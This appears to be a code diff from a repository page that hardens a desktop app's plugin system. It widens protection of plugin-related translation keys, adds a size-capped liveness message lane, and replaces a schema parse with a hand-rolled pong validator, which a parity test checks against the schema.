||||
auto: { components: { settings: { AppearanceSection: { title: 'Apariencia' } } } }
|
||||
})
|
||||
).ok
|
||||
).toBe(true)
|
||||
})
|
||||
|
||||
it.each([
|
||||
['array leaf', { settings: { choices: ['one'] } }],
|
||||
['numeric leaf', { settings: { count: 1 } }],
|
||||
|
||||
@@ -2,20 +2,11 @@ export const PLUGIN_LANGUAGE_CATALOG_MAX_ENTRIES = 20_000
|
||||
export const PLUGIN_LANGUAGE_CATALOG_MAX_DEPTH = 16
|
||||
|
||||
const DANGEROUS_CATALOG_KEYS = new Set(['__proto__', 'prototype', 'constructor'])
|
||||
const PROTECTED_TRANSLATION_PREFIXES = [
|
||||
'auto.components.settings.PluginConsentDialog',
|
||||
'auto.components.settings.PluginInstallDialog',
|
||||
'auto.components.settings.PluginKeybindingConsentPreview',
|
||||
'auto.components.settings.PluginMarketplaceBrowser',
|
||||
'auto.components.settings.PluginMarketplaceListingRow',
|
||||
'auto.components.settings.PluginMarketplacePreviewDialog',
|
||||
'auto.components.settings.PluginMarketplaceSourceDialog',
|
||||
'auto.components.settings.PluginRemoveDialog',
|
||||
'auto.components.settings.PluginRollbackDialog',
|
||||
'auto.components.settings.PluginSettingsRow',
|
||||
'auto.components.settings.PluginVmRecipeConsentPreview',
|
||||
'auto.components.settings.PluginsSettingsSection'
|
||||
]
|
||||
// Why: every plugin-facing security surface lives under this namespace, so
|
||||
// protecting the whole subtree keeps a new dialog from silently becoming
|
||||
// plugin-writable the way PluginConsentProvenance did when it was extracted.
|
||||
const PROTECTED_TRANSLATION_ROOT = 'auto.components.settings.'
|
||||
const PROTECTED_TRANSLATION_MODULE = /^plugin/i
|
||||
|
||||
export type PluginLanguagePackRegistration = {
|
||||
id: `plugin:${string}`
|
||||
@@ -51,9 +42,10 @@ function isCatalogObject(value: unknown): value is Record<string, unknown> {
|
||||
}
|
||||
|
||||
function protectedTranslation(path: string): boolean {
|
||||
return PROTECTED_TRANSLATION_PREFIXES.some(
|
||||
(prefix) => path === prefix || path.startsWith(`${prefix}.`)
|
||||
)
|
||||
if (!path.startsWith(PROTECTED_TRANSLATION_ROOT)) {
|
||||
return false
|
||||
}
|
||||
return PROTECTED_TRANSLATION_MODULE.test(path.slice(PROTECTED_TRANSLATION_ROOT.length))
|
||||
}
|
||||
|
||||
function hasUnsafeCatalogKeyCharacter(key: string): boolean {
|
||||
|
||||
@@ -22,6 +22,13 @@ export const PLUGIN_PANEL_FRAME_NAME_PREFIX = 'orca-plugin-panel:'
|
||||
export const PANEL_MESSAGE_MAX_BYTES = 64 * 1024
|
||||
export const PANEL_MESSAGE_RATE_LIMIT = { maxMessages: 30, perMs: 10_000 }
|
||||
|
||||
/** Size cap for the reserved liveness lane. Deliberately size-only: any
|
||||
* per-window count on this lane can be spent by the panel's own pongs and
|
||||
* would drop the next genuine reply, which is the starvation this reserved
|
||||
* lane exists to prevent. Aggregate cost stays bounded because pongs are also
|
||||
* charged to the data budget and cost O(1) plus a walk capped here. */
|
||||
export const PANEL_CONTROL_MESSAGE_MAX_BYTES = 1024
|
||||
|
||||
/** Watchdog cadence: a panel that misses a pong deadline is demoted to an
|
||||
* errored badge. Busy-loop detection is valid only while the runtime frame-
|
||||
* process gate confirms the sandbox stays outside the host renderer. */
|
||||
@@ -127,8 +134,21 @@ export function looksLikePanelActionRequest(data: unknown): boolean {
|
||||
)
|
||||
}
|
||||
|
||||
export function looksLikePanelPong(data: unknown): boolean {
|
||||
return panelPongSchema.safeParse(data).success
|
||||
/** Reads a valid pong's pingId, or null. Hand-rolled rather than
|
||||
* `panelPongSchema.safeParse` because a rejected parse allocates an issue
|
||||
* list, which is ~90x the accepted-path cost — free CPU for a panel spamming
|
||||
* near-miss pongs. The schema stays the contract; this mirrors it exactly. */
|
||||
export function readPanelPongId(data: unknown): number | null {
|
||||
if (typeof data !== 'object' || data === null) {
|
||||
return null
|
||||
}
|
||||
const frame = data as { type?: unknown; pingId?: unknown }
|
||||
if (frame.type !== PANEL_PONG_TYPE || typeof frame.pingId !== 'number') {
|
||||
return null
|
||||
}
|
||||
// isSafeInteger, not isInteger: zod's .int() rejects 2**53 and above, and a
|
||||
// wider reader would admit ids the watchdog can never have issued.
|
||||
return Number.isSafeInteger(frame.pingId) && frame.pingId >= 0 ? frame.pingId : null
|
||||
}
|
||||
|
||||
/** Validates action params against the host API spec (shared with workers). */
|
||||
|
||||
@@ -1,4 +1,8 @@
|
||||
import { PANEL_MESSAGE_MAX_BYTES, PANEL_MESSAGE_RATE_LIMIT } from './plugin-panel-bridge'
|
||||
import {
|
||||
PANEL_CONTROL_MESSAGE_MAX_BYTES,
|
||||
PANEL_MESSAGE_MAX_BYTES,
|
||||
PANEL_MESSAGE_RATE_LIMIT
|
||||
} from './plugin-panel-bridge'
|
||||
|
||||
/**
|
||||
* Per-plugin bridge budgets: message size cap and a sliding-window rate
|
||||
@@ -40,6 +44,20 @@ export function createPanelMessageBudget(
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Reserved liveness lane, size-bounded only. A per-window count here would be
|
||||
* spent by the panel's own pongs and would then drop the next genuine reply —
|
||||
* the exact starvation this lane exists to prevent. Rate is still bounded
|
||||
* because the caller also charges every pong to the data budget.
|
||||
*/
|
||||
export function createPanelControlMessageBudget(): PanelMessageBudget {
|
||||
return {
|
||||
maxBytes: PANEL_CONTROL_MESSAGE_MAX_BYTES,
|
||||
admit: (_now, messageBytes) =>
|
||||
messageBytes > PANEL_CONTROL_MESSAGE_MAX_BYTES ? 'oversized' : null
|
||||
}
|
||||
}
|
||||
|
||||
const textEncoder = new TextEncoder()
|
||||
|
||||
function utf8Bytes(value: string, stopAfter: number): number {
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { PANEL_PONG_TYPE, panelPongSchema, readPanelPongId } from './plugin-panel-bridge'
|
||||
|
||||
/** `readPanelPongId` is hand-rolled to avoid zod's ~90x rejected-parse
|
||||
* allocation cost on the guest-controlled bridge path. It must therefore
|
||||
* accept exactly what `panelPongSchema` accepts, forever. */
|
||||
|
||||
const CASES: unknown[] = [
|
||||
{ type: PANEL_PONG_TYPE, pingId: 0 },
|
||||
{ type: PANEL_PONG_TYPE, pingId: 7 },
|
||||
{ type: PANEL_PONG_TYPE, pingId: Number.MAX_SAFE_INTEGER },
|
||||
// Above the safe range zod's .int() refuses, though Number.isInteger accepts.
|
||||
{ type: PANEL_PONG_TYPE, pingId: Number.MAX_SAFE_INTEGER + 1 },
|
||||
{ type: PANEL_PONG_TYPE, pingId: 2 ** 60 },
|
||||
{ type: PANEL_PONG_TYPE, pingId: 1e100 },
|
||||
{ type: PANEL_PONG_TYPE, pingId: Number.MAX_VALUE },
|
||||
{ type: PANEL_PONG_TYPE, pingId: 7, extra: 'ignored' },
|
||||
{ type: PANEL_PONG_TYPE, pingId: -1 },
|
||||
{ type: PANEL_PONG_TYPE, pingId: 1.5 },
|
||||
{ type: PANEL_PONG_TYPE, pingId: Number.NaN },
|
||||
{ type: PANEL_PONG_TYPE, pingId: Number.POSITIVE_INFINITY },
|
||||
{ type: PANEL_PONG_TYPE, pingId: '7' },
|
||||
{ type: PANEL_PONG_TYPE, pingId: null },
|
||||
{ type: PANEL_PONG_TYPE },
|
||||
{ type: 'orca-panel-action', pingId: 7 },
|
||||
{ pingId: 7 },
|
||||
'orca-panel-pong',
|
||||
null,
|
||||
undefined,
|
||||
42,
|
||||
[]
|
||||
]
|
||||
|
||||
describe('readPanelPongId', () => {
|
||||
it.each(CASES.map((data, index) => [index, data]))(
|
||||
'agrees with panelPongSchema on case %i',
|
||||
(_index, data) => {
|
||||
expect(readPanelPongId(data) !== null).toBe(panelPongSchema.safeParse(data).success)
|
||||
}
|
||||
)
|
||||
|
||||
it('returns the pingId the watchdog must correlate against', () => {
|
||||
expect(readPanelPongId({ type: PANEL_PONG_TYPE, pingId: 7 })).toBe(7)
|
||||
expect(readPanelPongId({ type: PANEL_PONG_TYPE, pingId: 0 })).toBe(0)
|
||||
})
|
||||
})
|
||||
Reference in New Issue
Block a user